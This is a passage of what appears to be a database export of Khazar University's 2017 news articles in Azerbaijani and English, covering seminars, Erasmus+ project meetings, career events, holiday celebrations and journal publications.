aparırdı. Seminarda Mühəndislik və tətbiqi elmlər\r\nfakültəsinin elektronika, telekommunikasiya və radiotexnika ixtisasının tələbələri\r\nilə&nbsp; yanaşı, bu sahəyə marağı olan 20-dən\r\nçox tələbə iştirak edirdi.&nbsp;</p>'),(3345,1964,'az','Xarici tələbələrin Qız qalasına ekskursiyası təşkil olundu','2017-ci il martın 4-də Xəzər Universitetinin xarici tələbələrinin “Azərbaycan tarixi” fənninin növbəti dərsini fənn müəllimi Saida İzmailova Qız qalasında ekskursiya şəklində...','<p>2017-ci il martın 4-də Xəzər Universitetinin xarici\r\ntələbələrinin “Azərbaycan tarixi” fənninin növbəti dərsini fənn müəllimi Saida\r\nİzmailova Qız\r\nqalasında ekskursiya\r\nşəklində tədris olundu. Təcrübi dəsrin təşkili Xəzər Universitetin Tarix və arxeologiya\r\ndepartamenti tərəfindən həyata keçirildi. Saida İzmailova tələbələrə Qız\r\nqalasının tarixi haqqında günümüzdə var olan fikirləri, Orta Asiyadan Aralıq dənizinə\r\nqədər yayılmış 100-dən artıq Qız qalasının mövcud olmasından danışdı. Hər mərtəbədə\r\nfərqli eksponatlarla qarşılaşan tələbələrə qədim Azərbaycan dövləti –Albaniya\r\nbarədə danışıldı. </p>\r\n<p>Sonda Qız qalasının\r\nqarşısında xatirə şəkili çəkildi.&nbsp;</p>'),(3346,1965,'az','Erasmus+ layihəsinin növbəti görüşü Xəzər Universitetində baş tutacaq','2017-ci il martın 16-sı və 17-də Xəzər Universitetində Erasmus+ “Advocacy Establishment for...','<p>2017-ci il martın 16-sı və 17-də Xəzər\r\nUniversitetində Erasmus+ “<em>Advocacy\r\nEstablishment for Students through Ombudsman Position</em>” (AESOP) layihəsi çərçivəsində\r\nlayihənin regional tərəfdaşları arasında ehtiyacların qiymətləndirilməsi\r\nmövzusunda görüş keçiriləcək. Görüş zamanı Ukrayna, Gürcüstan və yerli tərəfdaş\r\nuniversitetlərin nümayəndələri layihənin hazırda həyata keçirilən fəaliyyətlərini\r\nmüzakirə edəcəklər.</p>'),(3347,1966,'az','TEDxKhazarUniversity tədbirinin sınağı keçirildi','2017-ci il martın 6-da Xəzər Universitetində TEDxKhazarUniversity tədbirinin sınağı keçirildi. Burada bu il mayın 13-də Xəzər Universitetinin şəhər mərkəzindəki...','<p>2017-ci\r\nil martın 6-da Xəzər Universitetində TEDxKhazarUniversity tədbirinin\r\nsınağı&nbsp;keçirildi. Burada bu il mayın 13-də Xəzər Universitetinin şəhər mərkəzindəki\r\nbinasında (B.Səfəroğlu küç. 122) saat 14:00-da keçiriləcək tədbirdə\r\nauditoriyaya təqdim olunacaq məruzələrlə və məruzəçilərlə tanışlıq olundu. Xəzər&nbsp;Universitetin\r\nmüəllimləri tələbə məruzəçi namizədlərin məruzələrinə qulaq asdılar və onlara öz\r\nmünasibətlərini bildirdilər.</p>'),(3348,1965,'en','Erasmus + project meeting to be held at Khazar University','On March 16-17, 2017, an “Advocacy Establishment for Students through Ombudsman...','<p>On March 16-17, 2017, an\r\n“Advocacy Establishment for Students through Ombudsman Position” (AESOP)\r\nproject meeting for the regional partners to discuss the results of the needs\r\nassessment will be held at Khazar University. Representatives of the partner universities\r\nfrom Azerbaijan, Georgia and Ukraine will discuss ongoing project\r\nactivities. &nbsp;</p>'),(3349,1967,'en','Excel Training by Deloitte Azerbaijan for Khazar University Students','On March 6, 2017, a special training program was organized for students of the Department of Political Science and International Relations of Khazar University...','<p>On\r\nMarch 6, 2017, a special training program was organized for students of the\r\nDepartment of Political Science and International Relations of Khazar\r\nUniversity. The training was delivered by the experts of the Audit Department\r\nof Deloitte Azerbaijan. The topics covered included introduction to Excel, Excel basics, frequently used tools including\r\nstatistical, financial, logic and reference-related formulas.</p>\r\n<p>The\r\ntraining was delivered within the framework of the ten-week Employability and\r\nSoft Skills Training Program. This special program is designed to help students\r\ndevelop CV writing, job interview preparation, presentation skills,\r\ncommunication and interpersonal skills as well as effective e-mail\r\ncommunication and cover letter writing.&nbsp;</p>'),(4317,2551,'az','Parisdə Viktor Hüqo məktəbində görüş keçirildi','2017-ci il oktyabrın 12-də Xəzər Universiteti və “Dünya” məktəbinin nümayəndə heyəti...','<p>2017-ci il oktyabrın 12-də Xəzər Universiteti və “Dünya” məktəbinin nümayəndə heyəti Viktor Hüqo məktəbini ziyarət etdi.</p><p>Parisdə yerləşən EIB (İkidilli Beynəxalq Məktəb) –&nbsp;Viktor Hüqo məktəbi məktəbəqədər təhsildən ali məktəbə qədər, həmçinin 2 illik universitet kurrikulumu təklilf edən beynəlxalq özəl məktəbdir. Məktəbin direktoru təhsil müəssisəsi haqqında danışdı, onun tarixi və təklif etdiyi proqramlar barədə məlumat verdi.</p><p>“Dünya” məktəbi haqqında məktəbin direktoru Mərufə Mədətli və IB (beynəlxalq bakalavriat) proqramının koordinatoru Rəna Həsənova təqdimat keçirdilər. “Dünya” məktəbi haqqında video da nümayiş etdirildi.</p><p>Görüş iki məktəb arasında əməkdaşlıq barədə müzakirələrlə davam etdi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və “Dünya” məktəbinin həmtəsisçisi Nailə xanım İsayeva xanım Frans Ponsartı “Dünya” məktəbinə dəvət etdilər.</p><p>Görüş məktəb ətrafında gəzinti ilə başa çatdı.</p>'),(3350,1968,'en','Kick off Meeting of the Erasmus+ PAWER Project in Poland','On February 27-28, 2017, Gunay Farzaliyeva, the coordinator of International Affairs Office, participated in the kick-off meeting of the PAWER project...','<p>On February 27-28,\r\n2017, Gunay Farzaliyeva, the coordinator of International Affairs Office,\r\nparticipated in the kick-off meeting of the PAWER project (“Paving the way to\r\ninterregional mobility and ensuring relevance, quality and equity of access”)\r\nat the Wroclaw University of Environmental and Life Sciences in Poland.\r\nParticipants in the meeting included representatives of the\r\npartner-universities and Ministries of Education and Science from Azerbaijan,\r\nBulgaria, Georgia, Hungary, Italy, Kazakhstan, Kyrgyzstan, Mongolia, Poland,\r\nRussia Federation, Tajikistan, UK and Uzbekistan. </p>\r\n<p>During the meeting, the\r\nrepresentatives of each participating partner-university made short\r\npresentations about their roles in the project. The meeting also included\r\ndiscussions about the project life cycle, current issues and next steps.</p>\r\n<p>The PAWER project\r\nintends to promote and support mobility between EU and partner countries and\r\nalso between Partner Countries by harmonizing the credit allocation and grading\r\nsystem.&nbsp;</p>'),(3352,1966,'en','First TEDxKhazarUniversity Rehearsal','On March 6, 2017 an event was held at Khazar University by Khazar University’s TEDx team. The objective of the event was to give TEDxKhazarUniversity speakers feedback...','<p>On March 6, 2017 an event was held at Khazar\r\nUniversity by Khazar University’s TEDx team. The objective of the event was to\r\ngive TEDxKhazarUniversity speakers feedback on their talks. </p>\r\n<p>On May 13, 2017, Khazar University will hold a TEDx\r\nconference on the downtown campus of the university (B.Safaroglu street122).</p>'),(3356,1971,'az','“Xəzər”də bayram şənliyi','Martın 7-də universitetin Mərmər zalında 8 Mart Beynəlxalq Qadınlar Günü münasibətilə bayram tədbiri   keçirildi.Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p>Martın 7-də universitetin Mərmər zalında 8 Mart\r\nBeynəlxalq Qadınlar Günü münasibətilə bayram tədbiri&nbsp;&nbsp; keçirildi. &nbsp;</p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı çıxış edərək, qadın əməkdaşların fəaliyyətini\r\nyüksək qiymətləndirdi, onları təbrik etdi və qadınlara həsr etdiyi şeirlərini\r\noxudu.</p>\r\n<p>Digər çıxış edənlər – rektor Hassan Niknafs,&nbsp; prorektorlar Məhəmməd Nuriyev və İsaxan\r\nİsaxanlı, Fəlsəfə və insanşünaslıq departamentinin müdiri Mail Yaqubov, Azərbaycan\r\ndili və ədəbiyyat departamentinin müdiri Vurğun Əyyub, həmin departamentin müəllimi&nbsp; Dilbər Zeynalova da qadın əməkdaşların\r\nünvanına xoş sözlər söylədlər, onlara əmək və şəxsi həyatlarında uğurlar\r\narzuladılar. Mail Yaqubov qadınları həm də şeir və mahnı, Vurğun Əyyub və Dilbər\r\nZeynalova şeirlərlə&nbsp; təbrik etdilər. </p>\r\n<p>Bayram şənliyində universitetin Musiqi və incəsənət\r\ndepartamentinin müdiri, pianoçu Zülfiyyə Sadıqova və Müslüm Maqomayev adına Azərbaycan\r\nDövlət Filarmoniyasının solisti, universitetin müəllimi Məhsəti Cabbarova tərəfindən\r\niştirakçılara konsert proqramı təqdim olundu.</p>\r\n<p>Məzunlarla iş üzrə mərkəzin müdiri Baba Bayramlının\r\naparıcılığı ilə keçən bayram şənliyi xoş əhval-ruhiyyə ilə başa çatdı.&nbsp;</p>'),(3353,1963,'en','\"Global Trends in the Telecommunications Sector\" seminar held by Student Union','On March 4, 2017, Khazar University Student Union organized a seminar entitled \"Global Trends in the Telecommunications Sector\". The seminar was conducted by...','<p>On March 4, 2017, Khazar\r\nUniversity Student Union organized a seminar entitled \"Global Trends in\r\nthe Telecommunications Sector\". The\r\nseminar was conducted by Orkhan Badalov, staff member of \"Bakcell\".\r\nStudents majoring in electronics, telecommunications and radio of the School of\r\nEngineering and Applied Sciences attended the seminar.</p>'),(3354,1962,'en','Qualifying Round of “Knotty Game” intellectual tournament held at Khazar University','On March 4, 2017, Khazar University Student Union and IB Club jointly organized the qualifying round of the “Knotty Game” intellectual tournament for Khazar University...','<p>On March 4, 2017, Khazar University Student Union and\r\nIB Club jointly organized the qualifying round of the “Knotty Game”\r\nintellectual tournament for Khazar University students. The tournament was a\r\ncompetition of eight teams. Three winning teams are qualified to represent\r\nKhazar University in the inter-university tournament in May 2017: 1. “To be\r\ncontinued” (School of Education); 2. “Shastel” (School of Engineering and\r\nApplied Sciences); 3. “Mr. Robot” (School of Engineering and Applied Sciences).</p>\r\n<p>The competition is played in three stages: 1. General\r\nworldview; 2. Logic puzzles; 3. Yes-No questions. The “Knotty Game”\r\nintellectual tournament aims to challenge students to a competitive game of\r\nintellect. &nbsp;</p>'),(3355,1970,'en','Career Development Center Meets with Ernst & Young ','On March 6, 2017, Khazar University Career Development Center held a meeting between representatives of Ernst & Young and Khazar University students. Ernst & Young...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On March 6, 2017, Khazar University Career Development Center\r\nheld a meeting between representatives of Ernst &amp; Young and Khazar\r\nUniversity students. Ernst &amp; Young representatives spoke about employment\r\nrequirements, application mistakes and successful job interviews. The meeting\r\nalso covered information about job and internship opportunities.</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">At the end of the event, student’s questions were\r\nanswered.&nbsp;</p>'),(3987,2311,'en','MEETING WITH ERASMUS+ ‘PROMIG’ PROJECT COORDINATOR','On June 3, there was a meeting within the frame of Erasmus+ Project - ‘Promotion of Migration Education at the University’(PROMİG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP)...','<p>On June 3, there was a meeting within the frame of Erasmus+ Project - ‘Promotion of Migration Education at the University’(PROMİG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP), with Dr. Nino Parsadanishvili, the project coordinator, Ivane Javakhishvili Tbilisi\r\nState University   and Irine Bakradze, the collaborator from Georgian Institute of\r\nPublic Affairs  , in the Centre of Development, Khazar University.</p><p>During the meeting, the tasks, trainings, timing and topics of the seminars to be provided within the framework of the project were widely discussed and the next steps of Khazar University for the project were planned.</p><p>Raziye Isayeva, the Director of the Development Centre informed about the work done during the initial phase of the project and the university’s obligations.</p><p>The guests also met with Dr. Hassan Niknafs, the rector of Khazar University, exchanged views on the project and touched upon the further expansion of cooperation with both Georgian universities in the future.</p>'),(3362,1974,'az','Dərs cədvəli  (Payız 2017)','Dərs cədvəli  (Payız 2017)','<div><br></div><p><span style=\"background-color:#ffffff;color:#660066\"><strong><a href=\"http://www.khazar.org/files/education/c%C9%99dv%C9%99l%20(Pay%C4%B1z%202017).xlsx\">Dərs cədvəli</a></strong></span></p>'),(3357,1971,'en','Holiday Celebration at Khazar University','On March 7, 2017, a celebration of International Women’s Day took place in the “Marble Hall” of Khazar University.Professor Hamlet Isaxanli, the founder of Khazar University and...','<p>On March 7, 2017, a celebration of International Women’s Day took place in the\r\n“Marble Hall” of Khazar University.</p>\r\n<p>Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, made a speech in which he highly\r\nevaluated female staff members’ service; he then read some of his poems. </p>\r\n<p>Other speeches were made by President Hassan\r\nNiknafs; Vice Presidents Mahammad Nuriyev and Isakhan Isakhanli; Mail Yagubov,\r\nHead of the Department of Philosophy and Anthropology; Vurgun Eyyub, Head of\r\nthe Department of Azerbaijani Language and Literature; and instructor Dilbar\r\nZeynalova. Congratulatory speeches also included poems (Vurgun Eyyub and Dilbar\r\nZeynalova) and songs (Mail Yaqub). </p>\r\n<p>Mahsati Jaffarova, soloist for the State\r\nPhilharmonic, performed musical numbers accompanied by Associate Professor\r\nZulfiyya Sadigova, Head of the Department of Music and Fine Arts.</p>\r\n<p>The\r\nannouncer of the event was Baba Bayramli, Director of the Center for Alumni\r\nRelations.</p>'),(4316,2550,'az','Ziyad Əmrahovun yeni ingilis dilində dərsliyi işıq üzü gördü','Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Ziyad Əmrahovun “Azərbaycan tarixinin mənbələri”...','<p>Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Ziyad Əmrahovun “Azərbaycan tarixinin mənbələri” (“<em>The sources of the Azerbaijan History</em>”) adlı yeni dərsliyi çap edilmişdir. Dərslik&nbsp;mənbəşünaslıq elminin tarix elminin bir sahəsi kimi meydana çıxması və onun inkişaf mərhələlərini, eləcə də Azərbaycan tarixinin ən qədim dövründən XIX əsr tarixi dövrünə qədər olan mənbələrini əhatə edir. Kitabda Azərbaycan tarixinin ən qədim dövrünə aid mənbələr və onların xüsusiyyətləri, Azərbaycan tarixinin antik dövrünə aid mənbələri, erkən orta əsr erməni müəlliflərinin əsərləri, yerli alban mənbələri, ərəb mənbələri, türkdilli mənbələr, Azərbaycan tarixinə aid XI-XV əsr mənbələri, Səfəvilər dövrünə aid mənbələr, Azərbaycan xanlıqlar dövrü mənbələri, qanunvericilik aktlarının mənbə kimi xüsusiyyətlərinə diqqət yetirilir.</p><p>Dərslik ingilis dilindədir, ali məktəb tələbələri, magistrləri, müəllimləri, eləcə də geniş oxucu auditoriyası üçün nəzərdə tutulmuşdur.</p>'),(4169,2437,'en','A letter from the Project Manager to Khazar University','On September 18, 2017, Bahruz Hidayetzade, Head of the Youth Support Project...','<p>On September 18, 2017, Bahruz Hidayetzade, Head of the Youth Support Project \"Build your future!\" sent a congratulatory letter to Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, on the occasion of the new academic year. The project manager also thanked H. Isakhanli for his support for the project.</p><p>P.S: Please find the letter in the <a href=\"/files/letters/GQ_Khazar_Letter.PDF\">attachment</a>.  <br></p>'),(4170,2438,'en','Hamlet Isakhanli responded to the Project leader\'s letter','On September 22, 2017, Professor Hamlet Isakhanli, the founder of Khazar University...','<p>On September 22, 2017, Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, responded to the congratulatory letter sent by Bahruz Hidayetzade, Head of the Youth Support Project \"Build your future!\". H. Isakhanli emphasized that Khazar University is pleased to have a cooperation with such a project and noted that they will always continue to support such projects.</p><p>P.S: Please find the letter in the <a href=\"/files/letters/Geleceyini_qur_001.jpg\">attachment</a>.  </p>'),(3358,1970,'az','“Ernst&Young” Xəzər Universitetin tələbələri ilə görüşdü','2017-ci il martın 6-da Xəzər Universitetində “Böyük dördlük” audit şirkətlərindən “Ernst&Young” ilə tələbələrin görüşü baş tutdu.“Ernst&Young” şirkətinin İnsan resursları...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il martın 6-da Xəzər\r\nUniversitetində “Böyük dördlük” audit şirkətlərindən “Ernst&amp;Young” ilə tələbələrin görüşü baş tutdu.\r\n&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">“Ernst&amp;Young” şirkətinin İnsan resursları\r\nofisinin nümayəndələri tələbələrə mövcud vakansiyalar və təcrübə proqramları,\r\nişə müraciət qaydaları, edilən səhvlər, uğurlu müsahibənin yolları və\r\nkorporativ mühit haqqında məlumat verdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İnteraktiv formada keçən seminarın\r\nyekununda şirkət nümayəndələri tələbələrin suallarını cavablandırdılar.</p>'),(3359,1968,'az','Erasmus+ PAWER layihəsinin ilk görüşü Polşada baş tutdu','2017-ci il fevralın 27-si və 28-də Xəzər Universiteti Beynəlxalq əlaqələr şöbəsinin koordinatoru Günay Fərzəliyeva PAWER (“Regiondaxili mobillik üçün uyğunluğun, keyfiyyətin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il fevralın 27-si və 28-də Xəzər\r\nUniversiteti Beynəlxalq əlaqələr şöbəsinin koordinatoru Günay Fərzəliyeva PAWER\r\n(“Regiondaxili mobillik üçün uyğunluğun, keyfiyyətin və bərabər çıxışın təminatı”)\r\nlayihəsinin Polşada Vrotslav Təbiət Elmləri Universitetində keçirilən ilk\r\ngörüşündə iştirak etdi. İştirakçılara Azərbaycan, Bolqarıstan, Gürcüstan,\r\nMacarıstan, İtaliya, Qazaxıstan, Qırğızıstan, Monqolustan, Polşa, Rusiya,\r\nTacikistan, Birləşmiş Krallıq və Özbəkistanın universitet, təhsil və elm nazirliklərinin nümayəndələri\r\ndaxil idi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüş zamanı hər bir iştirakçı partnyor\r\nuniversitetinin nümayəndəsi layihədəki rolu haqqında təqdimat etdi. Görüş layihənin\r\nmüddəti, cari məsələlər və növbəti addımlar haqqında müzakirələrlə bitdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">PAWER layihəsi kreditlərin hesablanması\r\nvə qiymətləndirmə sistemini uyğunlaşdırmaqla Avropa Birliyi və partnyor ölkələr,\r\nhəmçinin, partnyor ölkələrin öz arasında mobilliyi dəstəkləmək məqsədi daşıyır.&nbsp;</p>'),(3360,1972,'en','Azerbaijan Deposit Insurance Fund’s  Financial Literacy Seminar  ','On March 10, 2017 at 15:00, Executive Director of Azerbaijan Deposit Insurance Fund...','<p>On March 10, 2017 at\r\n15:00, Executive Director of Azerbaijan Deposit Insurance Fund Mr. Azad Cavadov\r\nwill deliver a seminar on Financial Literacy for students of Khazar University.\r\nThe meeting will take place on the Neftchilar Campus of the university.&nbsp;</p>'),(3361,1973,'az','Təhsil fakültəsinin tələbələri “Ev şirniyyatları-3” adlı xeyriyyə yarmarkası keçirdilər','2017-cı il martın 7-də Xəzər Universiteti Təhsil fakültəsinin tələbələrinin təşəbbüsü ilə “Ev şirniyyatları-3” adlı xeyriyyə yarmarkası keçirildi. Yarmarkada tələbələr müxtəlif ev...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2017-cı il martın 7-də Xəzər Universiteti Təhsil fakültəsinin\r\ntələbələrinin təşəbbüsü ilə “Ev şirniyyatları-3” adlı xeyriyyə yarmarkası keçirildi. Yarmarkada tələbələr\r\nmüxtəlif ev şirniyyatları hazırlayıb universitetdə köhnə və yeni binanın\r\ngirişində satışa çıxardılar. Aksiyadan 366,60 AZN əldə olundu. Yarmarkadan toplanan vəsait Xəzər\r\nUniversitetinin qan xərçəngindən əziyyət çəkən magistr tələbəsinin və\r\ntalassemiya xəstəsi olan 4 yaşlı Aylanın müəlicəsinə sərf olunacaq.</p>'),(3363,1974,'en','Class Schedule (Fall 2017)','Class Schedule (Fall 2017)','<div><br></div><p style=\"color:#660066\"><strong><em><a href=\"http://www.khazar.org/files/education/Fall%202017%20schedule.xlsx\">Class Schedule Fall 2017 , Bachelor &amp; Master</a></em></strong></p><p style=\"color:#660066\"><strong><em><br></em></strong></p>'),(3364,1972,'az','Xəzər Universitetində Maliyyə Savadlılığı layihəsi çərçivəsində görüş keçiriləcək','2017-ci il martın 10-u saat 15:00-da Əmanətlərin Sığortalanması Fondunun icraçı...','<p>2017-ci il martın 10-u saat 15:00-da Əmanətlərin\r\nSığortalanması Fondunun icraçı direktoru cənab Azad Cavadovun Maliyyə\r\nSavadlılığı layihəsi çərçivəsində Xəzər Universitetinin “Neftçilər” kampusunun “Mərmər”\r\nzalında universitetin tələbələri ilə görüşü keçiriləcək. </p>\r\n<p>Maraqlananlar görüşə dəvət olunurlar.&nbsp;</p>'),(3365,1976,'en','Interview with Hamlet Isaxanli published','A new issue of the Khazar Journal of Humanities and Social Sciences (Volume 20, number 1) was published by Khazar University Press. The new issue includes an interview...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">A new issue of the Khazar Journal of&nbsp;Humanities and Social Sciences (Volume 20, number 1) was published by Khazar\r\nUniversity Press. The new issue includes an interview with Prof. Hamlet\r\nIsaxanli, the founder of&nbsp; Khazar University and\r\nChairman of its Board of Directors and Trustees, conducted by Waqas Ahmed,\r\nauthor of the book <em>Polymathy</em> (as yet unpublished). </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">His interview is available at the following\r\nlink:</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"http://jhss-khazar.org/wp-content/uploads/2016/11/11.66.Intervyuu..pdf\">http://jhss-khazar.org/wp-content/uploads/2016/11/11.66.Intervyuu..pdf</a>&nbsp;&nbsp;</p>'),(3366,1977,'en','Khazar Journal of Humanities and Social Sciences New Issue Published','A new issue of the Khazar Journal of Humanities and Social Sciences (Volume 20, number 1) was published by Khazar University Press. The journal is available...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">A new issue of the Khazar Journal of&nbsp;Humanities and Social Sciences (Volume 20, number 1) was published by Khazar\r\nUniversity Press. The journal is available electronically at this link:</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"http://jhss-khazar.org/\">http://jhss-khazar.org/</a>&nbsp;&nbsp;</p>'),(3367,1978,'az','Tələbə Məclisinin prezidenti hesabat verdi','2017-ci il martın 9-da Xəzər Universiteti Tələbə Məclisinin prezidenti Qurban Əsgərovun hesabat konfransı keçirildi. Tədbirdə 1 il ərzində görülən işlər barəsində prezident Qurban...','<p>2017-ci il martın 9-da&nbsp;Xəzər\r\nUniversiteti Tələbə Məclisinin prezidenti Qurban Əsgərovun hesabat konfransı\r\nkeçirildi. Tədbirdə 1 il ərzində görülən işlər barəsində prezident Qurban Əsgərov\r\nvə vitse-prezident Özal Süleymanov ətraflı şəkildə akademik heyətə və aktiv\r\nüzvlərə məlumat verdilər. Qeyd olundu ki, ümumilikdə, 55-ə yaxın tədbir təşkilb\r\nolunmuşdur. Bunlardan 35-i seminar, 15-i təlim, 2-si əyləncə fəaliyyəti, 2-si\r\nfləşmob, 1-i beynəlxalq tədbirdə iştirak olmuşdur. Tədbirdə İdarəetmə və tələbə\r\nişləri üzrə prorektor İsaxan İsaxanlı və fakültə dekanları da çıxış edərək, 1\r\nil ərzində görülən işləri qiymətləndirdilər. </p>\r\n<p>Sonda aktiv\r\nüzvlər və Tələbə Məclisinin təşkil etdiyi futbol çempionatının qalibləri\r\ndiplom, sertifikat və pul mükafatı ilə təltif olundular.</p>'),(3368,1979,'az','Tarix və arxeologiya departamentində Novruz bayramı qeyd olundu','2017-ci il martın 11-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi Samirə Qarayevanın və Təhsil fakültəsi tarix müəllimliyi ixtisasının 1-ci kurs...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 11-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi\r\nSamirə Qarayevanın və Təhsil fakültəsi tarix müəllimliyi ixtisasının 1-ci kurs\r\ntələbələrinin təşkilatçılığı ilə Novruz bayramı keçirildi. Tələbələr Novruz\r\nbayramına həsr edilmiş təqdimat və videolar təqdim etdilər. Tarix və arxeologiya\r\ndepartamentinin müəllimi Saida İzmailova &nbsp;universitetin 1-ci kurs əcnəbi tələbələrini tədbirə\r\nqonaq kimi dəvət etmişdi. Novruz bayramının ənənələrinə &nbsp;uyğun süfrə bəzədilmişdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tarix\r\nmüəllimliyi ixtisasının 1-ci kurs tələbələri əcnəbi tələbələrə Novruz\r\nbayramının adət və ənənələri haqqında məlumat verdilər.&nbsp;</p>'),(3369,1980,'en','Triangle of Science Show on Public TV','On March 12, 2017, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors...','<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">On March 12, 2017, the “Elm üçbucağı” (Triangle of\r\nScience) program by Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, was broadcast on Public\r\nTV. The theme of the lecture during the broadcast was the Republic of Letters.\r\nHe also spoke about scholarly journals and their history. Khazar University\r\nfaculty and staff members also participated as audience members during the\r\nshow.&nbsp;</p>'),(4015,2345,'en','Seminar on Scientific Research','On July 14, 2017, a research seminar on scientific research was held at Khazar University...','<p>On July 14, 2017, a research seminar on scientific research was held at Khazar University.</p><p>Dr. Irada Khalilova, the head of the Biology Department and the Center for Cell Pathology, instructors of the department – Associate professor, Javid Ojaqi and Dr. Zaur Karimov, Raziya Isayeva, Director of Development Center, Goshqar Maharramov, Coordinator of the Department of Education, Aytaj Misgerli, Deputy Director of Library - Information Center and PhD students of the university participated in the seminar.</p><p>In the first part of the seminar, PhD students - Zuleykha Akbarova and Gulafet Shafiyeva - gave critical analysis of the scientific articles they read. Then Shabnam Shahgaldiyeva, a PhD student, informed about her research topic, its importance, the purpose and the expected outcomes. The presentations were welcomed and comprehensive discussions were held.</p><p>In the second part of the seminar, discussions were held on the ways of strengthening, supporting scientific research and establishing a PhD Students Association. At the end of the seminar it was decided to establish this union. Goshgar Maharramov, a PhD student in Education Management, Eskisehir Osmangazi University, Turkey, and Coordinator of Education Department undertook to volunteer to organize the association from the new academic year.</p><p>It was noted that a PhD Student Association is a platform designed to help the researchers develop. Each PhD student can join the union and actively participate in it. Young researchers from various fields can create student networks, exchange opinions about their ideas and practices, organize different meetings and seminars, as well as informal social events.</p>'),(4016,2345,'az','Elmi tədqiqat məsələlərinə həsr olunmuş seminar','2017-cı il iyulun 14-də Xəzər Universitetində elmi tədqiqat məsələlərinə həsr olumuş seminar keçirildi. Seminarda universitetin Biologiya departamentinin və Hüceyrə Patologiyası Tədqiqat Mərkəzinin müdiri Dr. İradə Xəlilova...','<p>2017-cı il iyulun 14-də Xəzər Universitetində elmi tədqiqat məsələlərinə həsr olumuş seminar keçirildi. Seminarda universitetin Biologiya departamentinin və Hüceyrə Patologiyası Tədqiqat Mərkəzinin müdiri Dr. İradə Xəlilova, departamentin müəllimləri dosent Cavid Ocaqi və Dr. Zaur Kərimov, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov, Kitabxana - İnformasiya Mərkəzinin direktor müavini Aytac Misgərli, universitetin doktorant tələbələri iştirak edirdilər. Seminarının birinci hissəsində doktorantlar Züleyxa Əkbərova və Gülafət Şəfiyeva oxuduqları elmi məqalələrin tənqidi təhlillərini verdilər. Sonra doktarant Şəbnəm Şahgəldiyeva öz elmi mövzusu, mövzunun aktuallığı, qarşıya qoyulan məqsəd və gözlənilən nəticələr haqqında məlumat verdi. Təqdimatlar maraqla qarşılandı və hərtərəfli müzakirələr aparıldı.</p><p>Seminarının ikinci hissəsində elmi araşdırmaların gücləndirilməsi və elmi tədqiqat işlərinə dəstək yolları, Doktorant Tələbə Birliyinin (PhD Student Association) yaradılması haqqında müzakirələr aparıldı. Sonda bu birliyin yaradılması haqda qərar qəbul edildi. Təhsil departamentinin koordinatoru və Türkiyənin Eskişehir Osmangazi Universiteti Təhsilin təşkili və idarə olunması üzrə doktorant tələbəsi Qoşqar Məhərrəmov yeni dərs ilindən bu birliyi könüllü olaraq təşkil etməyi öz öhdəsinə götürdü.</p><p>Qeyd olundu ki, Doktorant Tələbə Birliyi qənc tədqiqatçıların inkişafına kömək üçün yaradılan bir platformadır. Hər bir doktorant tələbə bu birliyə daxil ola və işində fəal iştirak edə bilər. Burada müxtəlif sahələrdən olan gənc tədqiqatçılar tələbə şəbəkəsi yaradaraq, öz ideya və təcrübələri haqqında fikir mübadiləsi apara bilər, müxtəlif görüşlər və seminarlar, həmçinin qeyri-rəsmi sosial tədbirlər təşkil edə bilərlər.</p>'),(4017,2344,'en','AZERTAC has released the news on the Great Success of Khazar University','On July 20, AZERTAC - Azerbaijan State Information Agency, released the news entitled ‘Khazar University in the Higher Education World...','<p>On July 20, AZERTAC - Azerbaijan State Information Agency, released the news entitled ‘Khazar University in the Higher Education World ‘’about a high place of Khazar University in the international rankings table. According to the 